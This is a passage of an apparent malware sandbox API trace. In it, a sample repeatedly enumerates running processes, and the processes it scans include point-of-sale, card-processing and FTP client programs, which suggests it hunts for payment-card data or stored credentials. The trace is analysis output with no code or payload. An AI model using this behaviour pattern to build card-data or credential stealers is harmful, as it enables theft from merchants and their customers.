th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0206.226] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0206.230] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0206.232] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0206.234] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0206.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0206.238] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0206.242] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0206.244] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0206.246] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0206.248] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0206.250] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0206.253] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0206.254] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0206.256] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0206.258] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0206.260] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0206.262] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0206.264] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0206.267] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.269] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0206.272] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0206.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.276] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0206.278] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0206.280] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0206.281] CloseHandle (hObject=0x11c8) returned 1 [0206.282] Sleep (dwMilliseconds=0x64) [0206.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0206.503] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.506] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.724] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.726] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.728] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.729] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.731] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.733] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.735] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.737] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.739] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.740] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.744] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.746] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.748] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.752] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.754] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0206.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.760] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0206.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0206.801] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0206.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0206.806] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0206.808] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0206.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0206.843] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.844] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.846] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0206.848] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.850] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0206.852] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0206.853] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0206.855] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0206.857] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0206.859] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0206.861] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0206.863] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0206.866] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0206.869] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0206.872] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0206.874] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0206.876] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0206.879] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0206.882] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0206.884] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0206.886] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0206.889] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0206.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0206.894] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0206.896] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0207.114] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0207.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, 